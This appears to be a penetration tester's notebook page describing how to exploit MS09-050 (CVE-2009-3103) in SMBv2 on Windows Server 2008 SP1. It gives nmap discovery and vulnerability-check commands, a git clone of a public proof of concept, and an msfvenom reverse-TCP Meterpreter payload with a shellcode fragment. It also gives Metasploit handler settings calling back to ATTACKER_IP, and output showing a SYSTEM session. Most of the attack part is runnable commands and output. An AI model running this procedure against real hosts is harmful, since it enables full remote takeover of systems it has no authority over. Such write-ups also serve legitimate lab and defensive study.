> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/ms09-050-smb.md).

# MS09-050 SMB

Windows Server 2008 SP1 with SMBv2 can be vulnerable to `CVE-2009-3103` / MS09-050. On the observed target, replacing the shellcode in a public PoC and running it against TCP/445 opened a Meterpreter session as `NT AUTHORITY\SYSTEM`.

## Discovery

Nmap identified Windows Server 2008 SP1 over SMB:

```
445/tcp open  microsoft-ds  Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds
```

Useful SMB enumeration:

```bash
nmap -sV --script smb-enum-shares,smb-enum-users,smb-os-discovery -p139,445 TARGET
python3 enum4linux-ng.py TARGET
```

Useful indicators:

```
OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
NetBIOS computer name: INTERNAL
Workgroup: WORKGROUP
SMB 1.0: true
SMB 2.0.2: true
SMB signing required: false
```

## Vulnerability Check

Run nmap's vuln scripts or the specific SMBv2 check:

```bash
sudo nmap -sVC -vvv TARGET --script vuln
nmap --script smb-vuln-cve2009-3103 -p445 TARGET
```

Expected finding:

```
smb-vuln-cve2009-3103:
  VULNERABLE:
  SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
```

## Exploitation

Get the PoC:

```bash
git clone https://github.com/Sic4rio/CVE-2009-3103---srv2.sys-SMB-Code-Execution-Python-MS09-050-.git
cd CVE-2009-3103---srv2.sys-SMB-Code-Execution-Python-MS09-050-
```

Generate a Python-formatted Meterpreter payload:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 EXITFUNC=thread -f python
```

The PoC uses a variable named `shell`, so replace its shellcode with the generated `buf` lines renamed to `shell`:

```python
shell =  b""
shell += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"
shell += b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"
```

Start a handler:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 443
run
```

Run the PoC:

```bash
python3 MS09-050.py TARGET
```

Successful session:

```
[*] Sending stage (199238 bytes) to TARGET
[*] Meterpreter session 1 opened
```

Confirm context:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```